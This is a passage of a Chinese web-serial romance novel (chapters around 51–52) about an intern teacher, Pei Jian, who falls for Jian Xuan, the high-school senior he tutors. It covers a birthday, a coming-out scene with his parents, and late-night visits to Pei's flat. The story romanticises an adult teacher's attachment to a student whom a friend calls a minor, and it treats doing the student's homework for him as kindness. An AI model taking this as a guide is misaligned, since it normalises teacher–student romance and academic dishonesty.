裴渐单手撑着讲台，偏了偏头，发丝也跟着晃了一下，他弯着眼睛说道：“大概是因为我是21届的市状元，南附的第一？”
细听一片蛙声。
简渲也撑着下巴看着裴渐，他在心里默默吐槽裴渐。
装，真的装。
裴渐似乎察觉到有视线一直在盯着自己，他微微侧了一下头，就和简渲对视上了。
看见简渲立马把脑袋埋了下去，他笑了一下。
”行了，你们班物理课代表是谁？”裴渐收起笑，问道。
“我啊老师！我我我！”
说话的就是刚开始的那个男生。
“叫什么？”裴渐说。
“我叫魏劲，”那个男生指着黑板旁的排名表，激动地说道，“就是测试考班级第一的那个名字。”
裴渐弯过头看了一眼，“嗯，挺厉害，我听你们于老师说有一个运动会报名表是不是？体育委员给我看一下。”
秦文楼站起身，走到裴渐面前，把表格放在裴渐的面前。
裴渐扫了一眼，男子三千米就在第三行，末尾写上了简渲的名字。
他又继续往下看了下去，发现男子跳高和男子两百米都填上了简渲的名字，他认识简渲的字迹，很明显这就是简渲自己写上去的。
裴渐皱了下眉，不过也没说什么，把表格收了起来，对秦文楼说道：“我拿去给体卫处吧。”
“好的老师。”秦文楼说道。
裴渐看了眼时间，“那我走了，需要午休的同学睡觉吧，不午休的也别吵，安静点。”
等裴渐一走，简渲才终于松了口气，还没等他松口气，孟凯就凑了上来。
“你知道裴渐要来吗？”孟凯小声问道。
“不知道。”简渲说道。
他没说自己中午就遇见了裴渐。
“我还以为你知道呢，那我睡了，昨晚做噩梦了，困死我了。”孟凯也没管简渲什么反应，就趴在桌上睡过去了。
只留下耳根突然红了起来的简渲。
简渲拿起放在桌上的冰水，贴着自己的耳朵，在心里默默对自己说：冷静点简渲，不就是那什么梦吗，有什么害臊的。
然后就开始做起了试卷。
等简渲把一整张卷子写完，午休就已经结束了。
上课铃刚响，裴渐就拿着课本走了进来。
简渲偏头看着还没睡清醒的孟凯，轻声问道：“第一节是物理课？”
孟凯也迷迷糊糊的，反问简渲：“第一节是物理课？”
只不过声音没像简渲一样遮遮掩掩。
裴渐停下步子，看着恨不得把脑袋埋到楼下的简渲，和他旁边突然清醒的同桌。
他轻轻笑了一下，走出门看了一下课表，然后说道：“如果我眼神没出问题，课表上应该写的是物理课。”
简渲埋着头，用手肘狠狠怼了一下孟凯，“你学我说话干什么？”
声音很炸毛。
孟凯也很尴尬地揉了揉鼻子，“我没睡醒啊，还好裴渐脾气好，要是高表他得让我俩站一节课。”
听见宁蓓喊起立的声音，简渲站了起来，只是看着讲台上的裴渐怎么都弯不下腰，直到听见裴渐说的“坐下”，简渲连忙坐了下去。
裴渐站在讲台上，视线落在宁蓓身上，又想起那本笔记本。
他午休的时候本来想让宁蓓来办公室的，但是又想起简渲的性子，怕是根本没有这根筋，于是他就收起了想法。
他对高中时期的暗恋没什么看法，但是如果是早恋，他觉得得适当干涉。
裴渐打开PPT，开始按照于婉婷对他说的复习进度讲了起来。
一节物理课上的很快，简渲感觉裴渐没说多少就结束了。
裴渐的讲课方式和于婉婷又有所不同，简渲觉得他好像更和裴渐的思路合得上，反观于婉婷，他有时候总会有点地方听不懂。
等一下午的课上完，就到了晚饭时间，简渲似乎感觉到了什么，刚下课就站在了教室后门。
果然没过多久，等教室人都走完，简渲就看见裴渐从办公室方向走了过来。
裴渐走到简渲旁边，问道：“知道我要来啊？”
简渲看了他一眼，脸颊鼓了鼓，说道：“你不是要监督我吃饭吗？”
心思被猜中，裴渐也没瞒着，“你太瘦了，对身体不好，等会跟我去教室食堂。”
裴渐知道简渲不想让别人知道他俩认识。
“好。”简渲点了点头。
走在路上的时候裴渐突然问道：“今天下午，听懂了吗？”
“听懂了，我觉得我和你的思路合得来。”简渲老实说道。
裴渐颔首，说道：“那就行，我怕你听不懂。”
等到了教室食堂，裴渐停下脚步，对简渲说道：“吃什么？”
“我都可以。”简渲说。
“吃面，可以吗？”裴渐问道。
简渲点了点头，“好。”
等端着面坐下，简渲吃了一口面，一张小脸很快皱了起来。
裴渐看着简渲的神色，尝了一口，没多难吃，“不爱吃？”
简渲晃了晃脑袋，把嘴里的面条咽下，“不是，就是不习惯这个味道，没我奶奶做的好吃。”
“你很喜欢你奶奶。”裴渐说道。
简渲嚼着面条，点了点头，想起了什么，又对裴渐说道：“对了，这周周末可能补习不了，我要回去看我奶奶。”
裴渐点头，应下：“好。”
两人吃完面，就往回走了，只不过刚走到文理楼，简渲就自动和裴渐拉开了距离，裴渐对此没什么表示。
回到教室以后简渲就趴在桌子上了，揉了揉胃，按照以往他吃完一碗面以后胃肯定是会痛的，但是今晚没有。
晚自习没有老师，都是学生自己复习，第二节是物理晚自习，裴渐在上课铃刚响起来的时候就走进了教室。
魏劲见裴渐进来，连忙问道：“老师，晚自习是有事吗？”
裴渐摇了摇头，走到简渲身边，声音很严肃地说道：“来一下办公室。”
简渲盯着裴渐看了几秒钟，然后就很心虚地跟着裴渐走了。
等简渲走后，秦文楼的声音就在教室立马响起，“有人又被叫办公室了。”
“秦文楼，安静，关你什么啊？”宁蓓站了起来，盯着秦文楼说道，“有时间不如好好学习，别拖我们班平均分。”
简渲对教室里发生的一切都不知道，只是跟着裴渐往教室外走，关上教室的门后他就恢复了原本懒洋洋的情绪。
裴渐也没垮着刚刚那副严肃的脸，他笑了一声，“你可以去拿奥斯卡了。”
简渲摇摇头，很认真地说道：“那还是不行，我怕和导演打起来。”
裴渐发现，自从挑破那层不存在的薄膜以后，简渲面对自己就更真实了，他没觉得有什么不好的。
“带卷子了吗？”裴渐问道。
简渲把校服外套的袖子卷了起来，拿出卷成卷轴的试卷，在裴渐眼前晃了晃，“带了。”
“行。”裴渐应道。
走到办公室，看着男生熟练地坐到自己的座位上，裴渐挑了挑眉，抽了个座椅坐到简渲旁边。
这个时候办公室还有其他班的班主任，一个带着眼镜的女老师问道：“小裴，这是在干什么？”
裴渐解释了一句：“我妈让我给他补习英语，麻烦不要说出去。”
女老师知道裴渐是于婉婷的儿子，她点点头，也没说什么了。
裴渐抽出红笔，拿起简渲放在桌上的卷子看了起来。
大概是短语填空大多是简渲做过的阅读，裴渐改的时候没有看见太多的错误，最多就是形式变错了，多加一个l或者e。
只是翻到后面作
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文的时候，裴渐终于对简渲的英语成绩有了实在的概念。
除了is，he，she，dearLihua，还有一些简单的词汇，简渲几乎都不会，有时候写生气了还在旁边画一个生气的表请，然后写上英语单词对应中文。
裴渐挑了一篇最简单的作文，开始给简渲讲了起来，几乎是把整篇作文的框架都拆开了。
简渲听的迷迷糊糊的，他没撒谎，他确实不会写作文，就连裴渐说的三段式他都有点不懂。
裴渐自然也看出来了简渲看不懂的眼神，他想了一下，对简渲说道：“你写数学，是不是要写解，解题过程，和答案？”
简渲点点头。
“写英语作文也是这样的，比如这篇作文让你写介绍春节，你就先介绍春节的大致，然后在第二段写春节包含的含义，习俗等等，最后写总结，比如春节是团圆崭新的象征，词汇这些你得自己去记阅读理解上的，还有语法这些你就得做短语填空，这些我没办法帮你。”
简渲被裴渐这么一说，就像打开了任督二脉，“我懂了！”
等裴渐把剩下几个作文给简渲大概讲完，就已经下课了，简渲卷起试卷，重新塞回袖子里，对裴渐挥了挥手，说道：“那我先回去了。”
“嗯。”裴渐说道。
等简渲回到教室，就发现一群人都盯着他，他抿了抿唇，低着头没说话，就回到了自己的座位。
孟凯当然知道裴渐在给简渲补习，他看出来简渲不想让别人知道，于是轻声问道：“你去办公室学英语了？”
“嗯。”简渲点点头。
“你不知道，你一走秦文楼就在那叽里呱啦地阴阳你。”孟凯吐槽道。
简渲望了一眼秦文楼，对方大概是一直在看着他，简渲就一抬头就和秦文楼对视上了。
秦文楼立马就移开了视线。
“不管他。”简渲轻声说道。
晚自习结束以后简渲就往人比较少的那边楼梯走，刚走到厕所门口，就被人拉住了。
简渲偏头，就看见裴渐站在阴影里。
“你还没回去啊？”简渲问道。
“吃不吃烧烤？”裴渐问道。
简渲摇摇头，“不吃。”
裴渐像是推销的商人一样，对简渲说道：“不是我花钱，有人请，他花钱大手大脚，肯定买很多，就去我家吃，我家离你那个网吧不是很远。”
“行吧。”简渲现在莫名其妙拒绝不了裴渐的请求，也只能答应下来。
他跟着裴渐走到宿舍楼，教师的停车场就在宿舍楼下面。
简渲站在宿舍楼下面，等着裴渐开车过来。
“同学，躲一下！”一个有些大的声音突兀地响起。
简渲没反应过来这是对他说的，下一秒，一盆有些温热带着泡沫的水淋到了他身上。
简渲揉了揉眼睛，抬头往上看去，就看见一个男生双手合十地趴在栏杆上，“同学！抱歉！太黑了我一开始没看见下面有人，这是洗校服的水，不脏的，真的很抱歉，我可以补偿你的。”
简渲把淋湿的校服外套脱了下来，说道：“没事，我回去洗一下就好了。”
裴渐把车开过的时候就看见简渲像一只落水小狗一样站在宿舍楼下面，他打开车门走到简渲面前，问道：“怎么打湿了？”
“刚刚有人没看清我站在这，把洗校服的水淋到我身上了，我没来得及躲开。”简渲没什么情绪。
“去我家洗澡吧，我顺便帮你把校服烘干。”裴渐说道。
简渲犹豫了一下，他他另一件校服刚洗，没干，现在也只能让裴渐帮自己烘干了。
“好。”简渲点点头。
等上了车，裴渐脱下西装外套，把暖气打开，“冷吗？”
“还好。”简渲摇摇头。
“行。”裴渐说。
等车开动，简渲把书包里的手机拿了出来，给网吧老板发了条消息。
【duvet：哥，今天可能回来的比较晚，之前那个哥哥说带我去吃烧烤。】
简渲没说他身上打湿的事情。
【黑网吧老板：好。】
裴渐确实没撒谎，他家确实离网吧附近很近，大概走路十分钟就能到黑网吧。
跟着裴渐回到他的公寓，刚打开门，就有两只毛茸茸的东西扑了上来。
简渲低头一看，就发现其中有一只是之前看见的小橘。
“你把它带回家了？”简渲惊喜地问道。
“嗯，看他可怜，就带回来了，你先去洗澡吧，客厅的厕所那里有个浴室，没人用过，里面东西是齐的。”裴渐指了指。
简渲点点头，拿着自己校服，“我现在脱吗？”
裴渐沉默了一下，“我给你拿件短袖，新的，等会你洗完我再给你吹干。”
说完，就去卧室拿了一件黑色的短袖出来。
简渲接过，就往浴室里走。
听见浴室里面的水声响起，裴渐拿出手机，给江概发了条消息。
【PJ：什么时候到？】
【江概：马上马上。】
江概的马上不可信，直到浴室的水声停下，江概还没来。
裴渐刚准备去问简渲是不是洗完了，门铃就响了起来。
裴渐打开门，还没说句话，江概就拎着烧烤冲了进来，“快快......，呃？”
裴渐回头，就发现简渲出来，他这时才发现自己忘给简渲拿短裤了，但他的短袖足够长，遮住了男生一半大腿。
“我靠......”江概往后退了几步，拉着裴渐走出门口，再缓缓把门虚虚掩上。
裴渐疑惑地皱了皱眉，“你干嘛？”
“裴渐，你是畜生啊？”
“谈未成年？十几岁了？初中生啊？”
50-60
第51章 第 51 章 出柜
简渲没想到销售装戒指和装手表的盒子用的是一样的, 他还以为放在上面那个盒子是手表，结果打开一看是戒指。
简渲没抬头看裴渐，他连忙把盒子盖上, 然后把放在底层的手表拿出来，放在裴渐面前，声音有些慌乱，“刚刚拿错了，是这个。”
裴渐原本快速的心跳缓缓慢了下来, 他低着头，看着摆在自己面前的漆黑的盒子，哑着嗓子问道：“什么？”
简渲伸出手，在脸上胡乱擦了一下，说道：“生日礼物，不知道你喜不喜欢。”
裴渐伸出手，打开盒子的盖子。
一块带在手上过于精致的手表。
裴渐的心跳又开始快了起来, 他拿起那块手表, 看着眼神里闪着期待的光的简渲，笑着开口：“小骗子。”
简渲的眼睛在瞬间睁大。
“不是说竞赛班有事吗？”裴渐把手表戴在手腕上，揉了揉简渲的头, 把男生拉近家里, 然后把门关上。
“你喜欢吗？”简渲把鞋子换掉，盯着裴渐手腕上的手表看。
裴渐把衣袖挽了起来, 能露出手上的那块手表，说道：“喜欢。”
简渲笑了起来。
裴渐想起刚才的戒指，说道：“刚才拿错的东西是什么？”
简渲把刚刚放进去的戒指盒拿了出来，打开给裴渐看了一眼，解释道：“销售和我说加五千送一个戒指, 我就买了，你要吗？”
裴渐看着那个做工粗糙的戒指，稍微懂的人就知道这个戒指不可能值五千。
但他没和简渲说，而是说道：“给我吧。”
简渲把戒指盒放在裴渐手里，低声抱怨道：“你都不告诉你生日，不然我就提前准备好了。”
裴渐轻笑了一下，把戒指盒攥在手里，开口：“我觉得没必要。”
简渲抬起头，说道：“有必要的。”
裴渐眉眼弯了弯，刚想开口，简渲就拍了一下自己的脑袋。
“我忘买蛋糕了，你等一下，我去买”简渲连忙转身，拿起手机就打算穿着拖鞋出去。
裴渐伸出手，拉住简渲，说道：“有蛋糕。”
简渲转过身。
“我提前回去拿蛋糕了，今晚和你一起过生日。”裴渐笑了说道。
简渲快速眨了几下眼，然后说道：“你爸爸妈妈不介意吗？”
“都习惯了，没事。”裴渐说道。
简渲也没再说什么，他把裴渐推到沙发上坐着，说道：“ 我去做饭。”
“会吗？”裴渐问道。
简渲拿着手机，说道：“我只会做小菜，但是我能学，我以前经常自己做饭的。”
说完，简渲就举着手机往厨房走了。
留下裴渐一个人坐在沙发上。
裴渐拿出手机，打开相机，把戒指放在桌上，手腕露出在镜头里面，拍了张照。
然后打开微信，没有编辑文案，只把图片发了出去。
刚发出去没一会，裴渐就收到了很多条评论。
【江概：在一起了？】
【姜敛回复了江概：你也知道？】
【江概回复了姜敛：我第一个知道的好不好！】
说起来，姜敛和江概认识还是因为裴渐。
两个人就像亲生兄弟一样，刚认识就抱在一起了。
裴渐看着这俩人的消息，回复了一条。
【PJ 回复了江概：生日礼物。】
【江概回复了裴渐：我就说你现在怎么可能追上。】
裴渐没在回复江概的评论，继续往下翻着，回复了不少人的评论。
翻到最后一条，裴渐在屏幕上滑动的指尖才停下。
【乖崽：（红玫瑰）】
裴渐弯着眼，回复了简渲的评论。
【PJ 回复了乖崽：不是在做饭吗？】
简渲回的很快，大概在看微信。
【乖崽回复了 PJ：我在等水烧开。】
裴渐把手机放下，想往厨房走，结果刚走到厨房门口，还没开门，门就自己开了。
下一秒，简渲的脑袋从门缝里探了出来，他推了推裴渐的腰，说道：“你不要进来。”
裴渐看着简渲，笑着说道：“真的不可以啊？”
简渲很严肃地点了点头。
“行。”裴渐也不强行进去，重新坐回了客厅。
过了半个小时，厨房门才被打开，简渲端着一个盘子走了出来，盘子上盖着一个盖子。
简渲小心翼翼地把盘子放在餐桌上，朝裴渐挥了挥手，说道：“我做好了。”
裴渐走到餐桌前坐下，看着面上被热气熏得有些红的简渲，问道：“做的什么？”
简渲没说话，他在围裙上擦了擦手上的水，然后单手遮住裴渐的眼睛，“你闭眼，马上就知道了。”
裴渐笑了一声，抓着简渲的手腕。
“你不许有小动作。”简渲的掌心紧紧贴着裴渐的眼睛。
裴渐挠了挠简渲的手腕，说道：“好。”
过了几秒，简渲覆盖在裴渐眼睛上的手终于挪开了。
“睁开吧。”简渲小声说道。
裴渐睁开眼，就看见一碗面摆在他面前。
面上飘着几根青菜，葱花撒在上面，最边上放了一个煎鸡蛋。
“长寿面，我搓了好久才搓好一根完整的，你尝尝看好不好吃。”简渲把筷子递到裴渐手上。
裴渐捏着筷子，尝了一口。
简渲就坐在裴渐身边，见裴渐吃了一口，连忙问道：“好吃吗？”
裴渐把面夹在简渲唇边，笑着说道：“你尝一下就知道好不好吃了。”
简渲连忙把筷子推回到裴渐那边，“这是寿星吃的，我不能吃。”
裴渐这才继续吃了起来，也收起了逗弄简渲的心思，说道：“很好吃。”
简渲弯着唇，突然想起了什么，问道：“蛋糕呢？”
裴渐指了指冰箱，说道：“在冰箱里面。”
简渲走到冰箱面前，打开冰箱把放在里面的蛋糕拿了出来。
蛋糕不是特别大，只有四寸。
简渲把蛋糕放在桌上，等裴渐把碗里的面吃完才开口：“是不是要许愿了？”
裴渐点点头。
简渲把蛋糕从蛋糕盒里拿了出来，把蜡烛递到裴渐手上，“插上去就好了，等我去拉个窗帘。”
话音刚落，简渲就跑到客厅把窗帘拉上了。
刚拉上的那一秒，原本还亮堂的客厅也变得昏暗。
简渲瘪瘪嘴，走到裴渐身边，说道：“好像不是特别黑，要等晚上吗？”
裴渐把蜡烛插在蛋糕上，听见简渲的话，他摇了摇头，说道：“不用了，现在就可以。”
简渲抽出一个椅子，坐在裴渐对面，拿着打火机把蜡烛点燃，开口：“是不是要闭眼？”
裴渐嗯了一声。
“那你闭眼许愿。”简渲趴在桌子上，盯着裴渐还睁开着的眼睛说道。
裴渐把眼睛闭上，说道：“我希望”
“愿望说出来就不灵了！”简渲连忙堵住裴渐下面还想说的话。
裴渐只好闭上嘴，许了个愿望，然后才睁开眼。
简渲看着裴渐睁眼，问道：“你许完愿了？”
“嗯，不然要许多久？”裴渐说道。
简渲换了个方向趴在桌子上，思考了一下裴渐的问题，说道：“一般许生日愿望不应该认真思考吗？”
“我没那么多愿望，就一个。”裴渐说道。
“那是什么？”简渲问完才反应过来自己说了什么，“你别和我说。”
裴渐笑了一声，说道：“好。”
裴渐许完愿以后两人就把蛋糕分着吃了，四寸的蛋糕两个人吃刚好吃完。
吃完蛋糕以后，简渲拿出手机看了一眼，然后抬起头，对裴渐说道：“我明天要去学校。”
“怎么了？”裴渐问道。
简渲把手机怼在裴渐面前，说道：“竞赛班只放一天，下次放长假就是寒假了。”
裴渐把叉子叉在奶油里，说道：“好吧。”
“你不开心啊？”简渲看着裴渐的神色，问道。
裴渐把纸盘子扔在垃圾桶里说，说道：“我没有不开心。”
“等寒假就好了。”简渲说道。
裴渐垂着眸，说道：“寒假你要回妈妈家。”
“我和我妈说了，就回去住五天，然后就回来陪你。”简渲说道。
陪你。
裴渐的指尖动了动。
又想起江概在朋友圈的话。
“你是不是”裴渐连忙止住嘴。
“什么？”简渲没听清。
裴渐摇了摇头，说道：“没什么。”
就是突然有点想问，你是不是也喜欢我。
但裴渐不敢问。
他怕得到简渲否定的答案，
“好吧，那你下午想去干什么，我可以陪你。”简渲说道。
“太冷了，出去也没想玩的。”裴渐说道。
简渲看了眼手机上的天气，零下一度，确实很冷。
“好吧，那在家里看电影吧？”简渲问道。
裴渐心跳了跳，笑了一声，说道：“好。”
可能简渲自己都没有发现。
他对其他之前住的地方的称呼都是网吧，出租屋。
唯独对裴渐公寓的称呼是家。
幸福指数最高的词语。
家。
两人就着昏暗的环境，也没有拉开窗帘，就拿了条毯子盖在腿上。
裴渐拿着遥控器在电视上挑着，他的目光落在一部评分很高的恐怖片上，偏着头问简渲：“要看恐怖片吗？”
简渲看了眼裴渐说的这部电影的封面，说道：“看。”
很快，电影就开始播放。
这部电影是外国的电影，是著名的恐怖电影国家拍的。
全程都没有突脸镜头，但就是让人后背发凉，女主在路上捡到了一个洋娃娃，娃娃没有眼睛和嘴巴，自从女主捡回那个娃娃以后半夜总是会看见娃娃掉在地上。
第二天女主醒来，娃娃又自己回到了原位。
女主本来以为是自己的幻觉，也没有当真，直到有天晚上，女主被闺蜜突如其来的造访弄醒，一起床，没有看见被她放在床头的娃娃。
女主走下别墅的楼梯的时候，在沙发上看见那个洋娃娃在盯着自己。
明明娃娃没有眼睛，但女主就是感觉娃娃在盯着她。
但下一秒，娃娃就消失不见了。
女主去给闺蜜开门，然后就发现闺蜜穿着和女主捡到的洋娃娃一样的衣服，手里还抱着一个洋娃娃。
闺蜜就对女主说道：我来找你了。
女主突然被惊醒，却发现是一场梦，她的手机铃声正在响起。
是闺蜜打来的。
女主抬头，闺蜜手中的洋娃娃就坐在衣柜上，看着自己。
一部电影大概放了两个半小时，结局也是oe式，简渲还沉浸在电影的剧情里，他偏过头，看着裴渐，问道：“你说那个娃娃身体里面真的有咒灵吗？”
裴渐不怕这些，他很认真地思考了一下简渲的问题，最后说道：“现在是科学社会。”
简渲整个人都窝在毯子里伸出腿，踢了踢裴渐，说道：“都是电影了，怎么不能架空了，你说这到底是女主的循环梦还是真的啊？”
裴渐伸出手，把简渲漏在外面的脚塞回毯子里，然后才说出自己的想法：“我觉得，女主已经死了。”
“为什么啊？”简渲说道。
“整部影片的色调都过于饱和，在现实很难存在，和恐怖片阴森氛围相反，开头说女主在路上捡到了洋娃娃，可女主当时却处在一个空无一人的街道上，这个娃娃是哪里来的？女主住在别墅里，开头第一幕，就是一个空景，全是白色的烟和梯形的林木，虽然没有墓碑但也能通过观察周围的环境知道这是一个墓群，那为什么会有烟，那就说明有人在烧东西。”
“女主明明穿的很穷酸，但是却住着大别墅，这也是一个不合理的地方。”
裴渐对着简渲分析了差不多十分钟，分析完以后，简渲的视线从手机上挪开，递到裴渐面前，说道：“这个电影解说和你的想法一模一样欸，这么一想一点也不恐怖了。”
裴渐笑了一声，说道：“这也只是我的想法，每个人眼里的解析都不一样，你觉得是真的就是真的。”
“我觉得你说的对。”简渲很肯定地说道。
“为什么？”裴渐问道。
简渲有些不好意思地说道：“因为如果我觉得是真的，我会怕。”
裴渐笑了起来，他站起身，把电视屏幕上的恐怖片换成一个喜剧电影，“看点好笑的。”
这部喜剧电影的时长没有那部恐怖片长，两个小时就看完了。
连着看了两部电影，一下午也就过去了，整个客厅也变得有些黑。
裴渐把客厅的灯打开，对简渲说道：“中午我妈给了我几只螃蟹和龙虾，还有条鱼，酸菜鱼吃吗？”
简渲还没从喜剧片里缓过神来，听见裴渐的话，简渲点点头，说道：“好。”
吃完晚饭以后，裴渐接到了于婉婷的电话。
一通电话结束以后，裴渐看着窝在沙发上发呆的男生，说道：“我要回去一趟。”
简渲回过神，说道：“好，那你晚上还回来吗？”
裴渐思考了一下，说道：“回来，可能比较晚。”
“好，拜拜。”简渲说道。
于婉婷他们和简渲的妈妈都住在碧落苑，离这得开半个多小时的车。
裴渐站在别墅门口，敲了敲门口。
几秒后，一个小身影把门打开了。
裴渐低着头，就看见了裴呈的身影。
裴呈一看见裴渐就张开手，“哥哥，抱抱。”
裴渐蹲下.身子，把裴呈抱在怀里，走进了大厅。
于婉婷和裴知书都坐在沙发上，见裴渐进来，裴知书就开口了：“要不是你妈说话你还知道有这个家吗？”
于婉婷用手肘怼了一下裴知书，笑着对裴渐说道：“你爸性格你知道，就是嘴管不住，他也想你
裴渐颔首，也没说什么，抱着裴呈在沙发上坐下。
一坐下，裴呈就开始扒拉裴渐，拉着裴渐的衣袖扯，露出裴渐腕上手表的一小部分。
于婉婷的视线落在裴渐的手腕上，问道：“我看见你朋友圈了，这个手表是谁送的吗？”
“一看就是别人送的，这臭小子愿意带表？”裴知书再次插嘴。
“你别说话了。”于婉婷狠狠踩了一脚裴知书的脚。
裴渐把裴呈放在沙发上，说道：“嗯，别人送的。”
“姜敛？”于婉婷问道。
裴渐笑了一声，说道：“不是。”
“你是不是凌晨的时候和别人在一起？”裴知书问道。
裴渐看了裴知书一眼，也没否认，说道：“嗯。”
于婉婷侧头看着裴知书，问道：“你怎么知道的？”
“在公司员工的朋友圈里面看见裴渐了，和一个穿着黄色衣服的人，不知道是男孩女孩，长得不矮。”裴知书解释道。
裴渐低声反驳道：“嫩黄色。”
“男的女的？”裴知书没管那没多，继续问裴渐。
裴渐指尖摸着腕上的腕表，“男生。”
“朋友吗？”于婉婷问道。
裴渐沉默了，也没说话。
“你妈问你呢。”裴知书说道。
裴渐呼出一口气，破罐子破摔地开口：“我喜欢的人。”
话音刚落，两道不一样的声音就响起。
“谁？”
“你喜欢男的？”
裴渐没回答于婉婷的问题，只是说道：“我喜欢的人是男生，我才喜欢男生。”
“我不管那么多，你是同性恋？”裴知书怒目圆睁，一双大手狠狠拍在桌子上。
于婉婷倒是被裴知书冷静，她抿着唇，按住裴知书想起身的动作，说道：“你确定你喜欢他？”
裴渐点点头。
“我不同意。”裴知书说道。
“为什么？”裴渐反问道。
裴知书被于婉婷按着，也不敢起身，只能说道：“你知不知道外面那些人怎么看待同性恋的？你要为自己负责！”
“我为什么要在意别人怎么想我？吃多了撑的？”裴渐的手不停摸着手腕上表。
裴知书被裴渐气到了，刚想继续说些什么，于婉婷就开口了。
“你先别说话。”
这句话是对裴知书说的。
“妈妈想了解一下，可以吗？”于婉婷问道。
裴渐很干脆地点了点头。
“这个手表，是他送的吗？”
“嗯。”
“喜欢那个男生多久了？”
“半年。”
“他喜欢你吗？”
裴渐沉默了一秒。
裴知书哼了一声，刚想说话，于婉婷就捂住了裴知书的嘴。
“那他，能接受同性恋吗？”
“不知道。”
简渲只说过就算有男生喜欢他，他也无所谓。
可简渲从来没有说过，如果是他熟悉的人喜欢他，会怎么样。
裴渐也不确定。
“如果他不喜欢你呢？你就不谈恋爱了？”
“嗯。”
“给他相亲，我刚好认识一个女孩和他同岁，人也好。”裴知书拿下于婉婷捂着他嘴的手，说道。
裴渐对上裴知书的眼睛，冷冷说道：“我不。”
眼瞧着父子俩的气焰都在上升，于婉婷连忙安抚起了裴知书：“儿子喜欢那个男生，你让他去相亲对得起那个女生吗？你别太偏激了。”
“我偏激？”裴知书声音有些尖，也没了平日里在公司沉稳的样子。
“嗯。”
这个嗯是裴渐说的。
裴知书站起身，举着手走到裴渐面前。
一道哭声响起。
裴呈的哭声打乱了现在的局面。
裴呈扒着裴渐的衣服，眼泪鼻涕往裴渐身上流，呜咽着说道：“不要打哥哥。”
裴渐低着头看着裴呈。
裴呈今年才四岁，也是刚上幼儿园的年纪。
裴渐揉了揉裴呈的头，把裴呈放进于婉婷怀里，对裴知书说道：“我很少回来，您不用每天看着我的，我先走了，妈。”
裴渐把身上被裴呈哭湿的羽绒服脱了下来，开着车往回赶。
大概是心情不好，裴渐回去的路程开得格外快，很快就到了家门口。
裴渐低着头，开了门。
里面闪着微弱的灯光，昏黄的光也落在了玄关上。
客厅里电视机的声音还在想着。
裴渐换了鞋，走了进去。
一进去，就看见简渲整个人窝在毯子里，茶几上放着一个蛋糕。
灯光打在简渲脸上，男生的脸有些红，整个人像筑巢一样把自己团在了沙发上。
大概是裴渐走路的声音有些大，简渲很快就转醒了。
简渲睁开眼，第一时间就往门口看了，看见是裴渐，简渲还带着些睡意的声音响起：“你回来了？”
裴渐走上前，看着茶几上的蛋糕，问道：“怎么又买了一个蛋糕。”
“我想了一下，黑灯许愿才有仪式感，我就去蛋糕店自己做了一个，可能不好看，”简渲站起身，身上的毯子滑落在地毯上，简渲的视线落在裴渐脸上，“你心情不好吗？”
裴渐弯着唇，“没有不好。”
简渲没穿拖鞋，光着脚走到裴渐面前，说道：“你就是心情不好，吵架了吗？”
裴渐看着站在自己面前乖得要命的简渲，指尖动了动，把男生抱进了自己怀里，“嗯，吵架了。”
“怎么了？”简渲的指尖搭在裴渐的背上，轻轻顺着。
“小事，让我抱会就好了。”裴渐说道。
简渲也没多问，说了声好，任由裴渐抱着他。
也不知道裴渐抱了多久，简渲脚有些麻了，裴渐才松开手。
裴渐视线往下落，落在简渲的脚上，“怎么没穿鞋？”
“有地毯。”简渲说道。
裴渐把简渲按回了沙发里，把毯子盖在简渲身上，把暖气打开。
“现在好点了吗？”简渲问道。
“好点了。”裴渐说道。
下一秒，整个客厅就黑了下来。
简渲打着手电筒，把蜡烛放在裴渐手里，说道：“那许愿吧。”
“不是许了一个愿望了吗？”裴渐拿着蜡烛的手紧了紧。
简渲抿了抿唇，说道：“可以多许一个愿望，说出来就好了。”
裴渐似乎明白了什么，他笑了一下，声音有些哑，说道：“好。”
简渲把蛋糕往裴渐面前挪了挪。
裴渐这才看清楚蛋糕的全貌，蛋糕上画着一个小人，眼睛是蓝色的，下面用黑色的奶油写着几个字：哥哥生日快乐！
裴渐把蜡烛插在了小人的旁边，简渲很快就把手从裴渐身后伸了出来，点燃了蜡烛。
“许愿吧。”简渲把手电筒关掉，对裴渐说道。
裴渐这次没闭眼睛，他盯着简渲的脸，轻声说道：“希望我上一个梦想能成真。”
“你很想实现上一个梦想吗？”简渲说道。
裴渐弯着唇，说道：“嗯，很想实现，如果是我来实现就更好了。”
“梦想不就是和自己有关的吗？”简渲有些好奇。
裴渐把灯打开，指尖轻轻挨着简渲的脸。
一触即分。
他二十二岁的生日愿望，是简渲能幸福。
第52章 第 52 章 新年烟花
给裴渐过完生日以后, 简渲就回了学校。
高三最后半年，在学校的时间也紧凑了起来，裴渐每天也在忙着游戏设计, 两人有时候甚至除了送饭的时间外都见不到对方。
这种情况直到简渲期末考试结束，有了喘息的十天假期。
裴渐站在校门口，手里拿着手机，靠在校门口的树上。
等到看见涌出来的人群，裴渐才站直了身子, 低着头给简渲发消息。
【PJ：出来了吗？】
【乖崽：我看见你了。】
裴渐的头从手机上抬了起来，一抬眼就看见简渲的身影。
裴渐快步走到简渲面前，拿过简渲手里的书包，问道：“除夕去妈妈那？”
简渲点点头，“嗯，还有我继父也在。”
裴渐颔首，说道：“如果不喜欢可以不用交流, 打个招呼就行。”
“好。”简渲应道。
等回到家里, 简渲坐在沙发上给自己手动充了会电。
过了几分钟，简渲才从沙发上起来，走到正在做饭的裴渐身边, 问道：“你过年不回去吗？”
裴渐停下洗菜的动作, 想到月初和裴知书的那场争吵，蹙着眉说道：“看情况吧, 我爸可能不太想看见我。”
简渲没问裴渐为什么，他低着头看着裴渐洗菜的动作，慢吞吞地说道：“十天假期老师布置了四十八张试卷，竞赛班还有十张卷子。”
裴渐偏着头，看了眼有些崩溃的简渲, 笑了一声，“写得完吗？我帮你写点？”
简渲眨了眨眼，似乎没想到裴渐能提出这个解决方案，说道：“你还会做这种事情吗？”
裴渐把洗好的菜放进沥水篮里，对简渲说道：“我是什么很严肃的人吗？”
简渲伸出手，扯住裴渐的衣角，说道：“二十张？”
裴渐看着眼睛里闪着期待的光的简渲，弯了弯唇，说道：“好，我帮你写二十四张吧。”
“真的吗？”简渲的声音有些雀跃。
裴渐轻轻点了点头，把指尖上的水擦干，捏着简渲的脸说道：“我骗你干嘛？”
“那今晚就写！一天五张就写完了，竞赛题我拿到我妈妈那去写。”简渲说道。
裴渐松开手，说道：“好，吃完饭就写。”
简渲回到客厅，拿了一张竞赛题放在茶几上，就坐在客厅的地毯上写了起来。
裴渐端着菜出来的时候看见的就是这个场景。
